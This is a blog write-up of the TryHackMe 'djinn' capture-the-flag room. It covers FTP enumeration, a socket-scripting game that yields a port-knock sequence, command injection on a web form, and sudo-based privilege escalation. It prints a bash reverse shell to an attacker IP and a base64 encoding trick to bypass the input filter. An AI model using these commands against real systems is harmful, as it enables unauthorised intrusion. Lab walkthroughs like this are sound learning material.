THM write-up: djinn
13 minutes to readLink: https://tryhackme.com/room/djinn
Greeting there, welcome to another THM CTF write-up. Today, we are going to do a full walkthrough on the djinn room. This room is created by falconfeast a.k.a mzfr, who also in charge of the capture the flag room in THM. For your information, the box can be found on vulnhub and there is a ton of walkthrough on the internet. Guess what, I’m a little bit late for the walkthrough. The selling point of this write-up is I’m going to use a slightly different approach to complete the challenge, especially the scripting. Enough of the intro, let’s get started.
Task 1: Capture user flag
Your task is to capture both user and root flag, just like the other CTF.
1) Enumeration
First and foremost, fire up our Nmap scanner to do a full port scan. This is because the machine might contain some ‘rabbit-holes’.
nmap -p- -A -v <Machine IP>
Look like we have 3 open and 1 filter ports on the machine The opened ports are port 21 (FTP), port 1337 (telnet?) and port 7331 (HTTP) while port 22 (SSH) is filtered. Let check the port one by one.
A) Port 21 - FTP
The FTP server can be directly accessed as anonymous. Visit the server either using a web browser or CLI.
We have 3 texts file on the server. Download the files using the get command. After that, read all the downloaded files.
We can leave the creds.txt aside since we haven’t found a place to put the credential in. The interesting files are game.txt and message.txt. Since we have done a scan on port 1337, we can telnet to the port later on. As for the username like text, @nitish81299, we need to do a google search.
Alright guys, another OSINT stuff. Click inside the profile and read the note.
The note is somehow related to the challenge. Take note on the first and third points, the password should be greater than 8 with an alphanumeric and do not write credentials in some file. These two statements conclude that the creds.txt is a fake or outdated password file. Let’s forget the cred file and move on to the port 1337.
B) Port 1337 - telnet (rabbit-hole, skip-able)
Visit the port with the following command.
telnet <Machine IP> 1337
It is game time mate! Alright, we need to answer 1000 times and get something useful from it. You can either do it manually or by using a script. I’m going to use a script to complete this challenge.
P/S: You can skip this part and it does not affect the final outcome. I marked this part as a rabbit-hole or skip-able. In the end-game, You should get a port knock sequence for SSH (port 22). Skip to Part C, if you are not interested.
import socket
import sys
host=sys.argv[1]
port = 1337
total = 0
i = 0
s = socket.socket()
s.connect((host,port))
#Remove header, first and second line
dumpHeader = s.recv(4096)
firstLine = s.recv(4096)
secondLine = firstLine.split("\n",2)[2]
# trim the first eq line from second line
eqLine = secondLine.split("\n",2)[1]
eqLine_trim = eqLine.replace("(","").replace(")","").replace(" ","")
eqLine_split = eqLine_trim.split(",")
#Repeat 1000
while i < 1001:
firstNum = int(eqLine_split[0])
secondNum = int(eqLine_split[2])
operation = eqLine_split[1].replace("'","")
if operation == '+':
total = firstNum + secondNum
elif operation == '-':
total = firstNum - secondNum
elif operation == '*':
total = firstNum * secondNum
elif operation == '/':
total = firstNum / secondNum
#Send the value
print(str(i) + ": " + str(firstNum) + " " + str(operation) + " " + str(secondNum) + " = " + str(total))
totalStr = str(total) + "\n"
s.send(totalStr)
#Receive the next operation and process
dumpFirstLetter = s.recv(4096)
eqLine = s.recv(4096)
eqLine = eqLine.split("\n",2)[0]
eqLine_trim = eqLine.replace(")","").replace(" ","")
eqLine_split = eqLine_trim.split(",")
# Counter increment
i = i + 1
#print the gift
if i == 1001:
print(dumpFirstLetter)
s.close()
Copy, paste, save and run the python script with the following command
python game.py <machine IP>
Well, we got a port knocking sequence. Input the following command to open a secret port.
knock <machine IP> 1356 6784 3409
If you still remember, port 22 is filtered. By knocking the port, we actually open the port 22.
Problem is, we can’t log in to the ssh shell by using the credential from creds.txt because the information is fake or outdated. Guess we have to visit the last opened port, port 7331.
C) Port 7331 - HTTP
Visit the port with a web browser leave us the following page.
Checking the source code does not yield any interesting results. Directory attack might be the only way in. Time to launch our gobuster tool.
gobuster dir -u http://<machine IP>:1337 -w /usr/share/dirb/wordlists/big.txt
I’m going to use big.txt wordlists this time because the common.txt wordlist is not enough for the attack.
We have two hidden directories on the webserver which is /genie and /wish. Let see what inside /genie.
Just a beautified 403 response page. Huh, there is a small text behind the image.
And that is the message. Thanks, mzfr! How about the /wish?
I can make a wish? That’s cool! Let’s do a quick check on the source code.
Nothing is interesting except the field naming, cmd. Let’s try a command, i.e whoami.
We are redirected to /genie again. This time, the page returns the result we wanted. Look like we can perform command injection on the input field. Huh, something not right here, thing going too smooth. But it won’t hurt if we give a try.
Firstly, open your netcat listener with the following command as we are going to listen to reverse shell.
nc -lvnp 1234
By referring to the reverse shell cheat sheet, enter the following line to the input field.
bash -i >& /dev/tcp/<tun IP>/123 0>&1
Just what I expected, the thing is running TOO SMOOTH. After doing a short experiment on the input field, some of the special symbols (/ . $ &) are filtered out by the page. To bypass the special symbol, we are going to use the base64 method.
On your terminal, encode the reverse shell line with the following command.
echo "bash -i >& /dev/tcp/<tun IP>/1234 0>&1" | base64
Make sure you change the
echo "<encoded text>" | base64 --decode | bash
Viola, we just get the shell. Alright, time to capture the user flag.
2) Capture the user flag
There are two users who are Nitish and sam. For your information, we only can access to Nitish directory for this time being.
Shoot! We can’t read the user flag as the text file is only accessible by Nitish or root user. If you refer to the note in the github, Nitish mentioned dev and there might be something hidden inside the .dev directory.
Guess what, this is the real credential for user Nitish. If you skipped part B previously, you can log in to Nitish via the reverse shell using the following command after spawning a TTY shell.
python -c 'import pty; pty.spawn("/bin/sh")'
su nitish
On the other way round, you can log into Nitish’s ssh shell if you completed Part B and We can now capture the user flag in peace.
Task 2: capture the root flag
Let see what can Nitish do using sudo.
We can run the genie binary to escalate our privilege as sam. Let see what is this genie command.
I need to praise user mzfr who writes this binary. I am trolled so hard by following the instruction. Before I gave up myself, I read the genie manual and come across the following line.
man genie
Lesson learned, always check the manual for detail instruction. -h flag actually just for quick usage of the command. Okay, time to escalate as sam using the following command.
sudo -u sam /usr/bin/genie -cmd 1111
1111 is a dummy, you can put anything you want.
Let see what can sam do by using Sudo command.
Sam can run lago command from root directory? Let’s give it a try.
No matter what I do, I still can’t escalate my privilege as a root. My final resort is to read the .pyc or python compiled file in the sam directory and found something similar to lago binary.
We are going to download .pyc file for further analysis. We need to open an HTTP server on sam directory. (simpleHTTPSever not working in this scenario).
python3 -m http.server 8000
In our own machine, download the file with the following command.
wget <machine IP>:8000/.pyc
After that, use an online python decompiler to decompile the pyc file. Based on the decompiled script, we can spawn a shell by entering ‘num’ on option2.
Congratulations, we just root the machine. Time to capture the final flag and end this challenge for good.
As I said, it is a little bit late.
Conclusion
That’s all for the amazing djinn room by mfzr. This is another whole new CTF experience for me. Hope you learn something new today. See ya ;)
tags: tryhackme - CTF - recon - osint - command_injection - reverse_shell - port_knockingThanks for reading. Follow my twitter for latest update
If you like this post, consider a small donation. Much appreciated. :)